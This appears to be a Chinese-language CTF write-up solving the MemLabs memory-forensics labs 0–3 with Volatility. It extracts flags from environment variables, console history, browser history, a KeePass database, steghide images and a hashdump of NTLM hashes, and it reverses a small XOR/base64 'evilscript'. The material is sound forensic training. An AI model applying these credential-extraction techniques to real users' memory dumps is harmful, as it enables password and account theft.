我们公司的一位客户由于未知错误而失去了对其系统的访问权限。据推测,他是一位非常受欢迎的“环保”主义者。作为调查的一部分,他告诉我们他的应用程序是浏览器、他的密码管理器等。我们希望你能深入这个内存转储并找到他的重要资料并将其还给我们。

注意:这个挑战由3个flag组成

Progress

Flag 1

老规矩:

image

根据题目描述,查看进程,重点查看浏览器和密码管理相关进程:

image

此外,上面还提到了环境变量,envars查看一下:

image

啊!这串熟悉的base64开头

image

flag{w3lc0m3T0$T4g3_!_Of_L4B_2}

Flag 2

回到浏览器,提取浏览器历史记录,volatility是不自带这个插件的

https://github.com/superponible/volatility-plugins

(255条消息) volatility2各类外部插件使用简介_Blus.King的博客-CSDN博客_volatility插件

注意: --plugins后写清插件位置,比如这样:

┌──(root㉿SanDieg0)-[/mnt/d/volatility-master]
└─# python2 vol.py  --plugins=./volatility/plugins/ -f "/mnt/f/Memlabs/lab2/Lab2.raw" --profile=Win7SP1x64 chromehistory

image

发现了一个下载链接,

image

image

上个实验第三部分flag:flag{w3ll_3rd_stage_was_easy}

image

image

flag{oK_So_Now_St4g3_3_is_DoNE!!}

Flag 3

还有一个密码管理器进程KeePass.exe没有用到

KeePass会存储密码在以.kdbx为后缀的数据库中,并用主密码(master password)进行管理

image

image

filescan并进行筛选:

image

image

Hidden.kdbx转储出来后,找密码,文件里面有一张叫Password.png的图片

Password

密码右下角:P4SSw0rd_123

有了密码后,在KeePass里面打开这个数据库:

image

右键直接复制出来密码:flag{w0w_th1s_1s_Th3_SeC0nDST4g3!!}

(咦?这个才是第二个flag吗?没事,我懒得改了:)

MemLabs Lab 3 | The Evil's Den

下载链接:MemLabs Lab 3

Challenge Descryption

A malicious script encrypted a very secret piece of information I had on my system. Can you recover the information for me please?

Note-1 : This challenge is composed of only 1 flag. The flag split into 2 parts.

Note-2 : You'll need the first half of the flag to get the second.

You will need this additional tool to solve the challenge,

sudo apt install steghide

The flag format for this lab is: inctf{s0me_l33t_Str1ng}

恶意脚本加密了我系统上的一条非常机密的信息。你能为我恢复信息吗?

注意-1:本次挑战只有一个flag,但被分为两个部分。

注意-2:你需要得到第一部分的flag才能得到第二部分flag。

Progress

The first part of the flag

老样子:

image

题目描述说有恶意脚本,看一下cmd的记录:

image

确实有一个叫恶意脚本的py脚本🤔还有一个vip.txt

image

evilscript.py.py:

import sys
import string

def xor(s):

    a = ''.join(chr(ord(i)^3) for i in s)
    return a

def encoder(x):

    return x.encode("base64")

if __name__ == "__main__":

    f = open("C:\\Users\\hello\\Desktop\\vip.txt", "w")

    arr = sys.argv[1]

    arr = encoder(xor(arr))

    f.write(arr)

    f.close()

vip.txt:

image

呃。。。

看一下脚本过程比较简单,先用一个字符将vip.txt的内容进行异或,然后base64加密一遍,解密也很简单,把过程逆过来就好:

s = 'am1gd2V4M20wXGs3b2U='
d = s.decode('base64')
a = ''.join(chr(ord(i)^3) for i in d)

print a

执行结果:inctf{0n3_h4lf,这是第一部分

The second part of the flag

按照题目描述,还会用到steghide,扫一下图片文件:

image

.jpg都是些临时文件,.jpeg这个可能性最大,而且名字就很可疑🤔导出来看看:

suspision1image上面说,有了第一部分的flag才能获取到第二部分,那提示很明显了,密码应该就是第一部分flag

image

_1s_n0t_3n0ugh}

综上,flag为:inctf{0n3_h4lf_1s_n0t_3n0ugh}

The First Diary of Forensic

用取证软件去做题也能叫取证?懂不懂volatility的含金量啊?
自己到现在还没认真用过Vol,打算刷刷题然后系统学习一下。
(毕竟不能总是指望着用取证大师之类的吧🤔)

MemLabs Lab_0 | Never Too Late Mister

下载链接:Lab0

Challenge Description

My friend John is an "environmental" activist and a humanitarian. He hated the ideology of Thanos from the Avengers: Infinity War. He sucks at programming. He used too many variables while writing any program. One day, John gave me a memory dump and asked me to find out what he was doing while he took the dump. Can you figure it out for me?

我的朋友约翰是一位“环保”活动家和人道主义者。他讨厌复仇者联盟中灭霸的观点:无限战争。他编程很烂。他在编写任何程序时使用了太多变量。有一天,约翰给了我一个内存转储,并让我找出他在转储时在做什么。你能帮我弄清楚吗?

Progress

整体下来就是一个常规取证思路,先imageinfo看一下:

image

Vol3给出的建议是Win7SP1X86_23418,查看一下进程信息:

image

看到有运行过cmd.exe,查看一下历史命令行信息:

image

有一个可疑文件,用cmd调用python.exe,这个地方可以用MARKDOWN_HASH113422dfd86463d669e94c07cf61e0dcMARKDOWNHASH插件,来查看执行的命令行历史记录(扫描CONSOLE_INFORMATION信息)

image

得到一串字符串335d366f5d6031767631707f

image

看上去是一段乱码:3]6o]`1vv1p.

如果不解密字符串的话,下一步也不知道干什么。

此时结合上面题目描述"environmental" activist环保主义者提示,应该是要查看环境变量

envars查看一下发现太多了。。。果然是个很差的技术员,在编写程序时使用了太多环境变量

不过后面有提到Thanos,尝试在环境变量里面搜一下

image

发现真的有,环境变量指向xor and password

先提取password

image

image

后面这串查不到啊艹,看了WP人家是查到了。。。。。。

image

这是第一部分:flag{you_are_good_but

剩下一部分,来处理提示中的xor,目标字符串应该是前面hex解密出的乱码

不过不清楚异或字符是啥,只能爆破了

a = "335d366f5d6031767631707f".decode("hex")
for i in range(0,255):
    b = ""
    for j in a:
        b = b + chr(ord(j) ^ i)
    print b

image

flag{you_are_good_but1_4m_b3tt3r}

MemLabs Lab_1 | Beginner's Luck

下载链接:Lab1

Challenge description

My sister's computer crashed. We were very fortunate to recover this memory dump. Your job is get all her important files from the system. From what we remember, we suddenly saw a black window pop up with some thing being executed. When the crash happened, she was trying to draw something. Thats all we remember from the time of crash.

Note : This challenge is composed of 3 flags.

我姐姐的电脑坏了。我们非常幸运地恢复了这个内存转储。你的工作是从系统中获取她所有的重要文件。根据我们的记忆,我们突然看到一个黑色的窗口弹出,上面有一些正在执行的东西。崩溃发生时,她正试图画一些东西。这就是电脑崩溃时我们所记得的一切。

注意 :此挑战由 3 个flag组成。

Progress

Flag 1

image

既然有提到突然看到黑色窗口弹出,在执行一些东西,(看描述像是cmd命令行)那么我们用pslist查看一下:

image

确实是有cmd.exe这个进程,consoles查看命令行输出结果:

image

很熟悉的base64,

image

flag{th1s_1s_th3_1st_st4g3!!}

Flag 2

When the crash happened, she was trying to draw something.

在画画,看一下进程列表:

image

看名称,这个进程和画画有关,PID是2424

image

image

修改文件名后缀为data,导入GIMP

调整一下偏移量和宽高,

image

image

翻转一下就是flag

image

flag{Good_Boy_good_girl}

Flag 3

后来才知道,这个地方看的是WinRAR.exe进程,

image

看一下WinRAR.exe进程历史

image

看到了一个RAR压缩包:Important.rar

image

根据地址提取出来:

image

检测是rar文件类型。修改文件名解压发现需要密码:

image

hashdump提取

┌──(root㉿SanDieg0)-[/mnt/d/volatility_2.6_win64_standalone]
└─# ./volatility.exe -f "F:\Memlabs\lab1\Lab1.raw" --profile=Win7SP1x64 hashdump
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SmartNet:1001:aad3b435b51404eeaad3b435b51404ee:4943abb39473a6f32c11301f4987e7e0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:f0fc3d257814e08fea06e63c5762ebd5:::
Alissa Simpson:1003:aad3b435b51404eeaad3b435b51404ee:f4ff64c8baac57d22f22edc681055ba6:::

hashdump提取有两个HASH,第一个是使用LANMAN算法,这种散列值非常不安全,在Vista以来的Windows系统已经不再采用LANMAN HASH。因此这个hash前会提供一个aad开头的虚拟值。

第二个HASH是我们常说的NTLM HASH,也好不到哪去。

这个地方要解密NTLM,看用户名我盲猜是最后一个f4ff64c8baac57d22f22edc681055ba6

image

拿解密到的字符串怎么试都不对,结果发现,不用解密,换成大写。。。(无语住了)

flag3

flag{w3ll_3rd_stage_was_easy}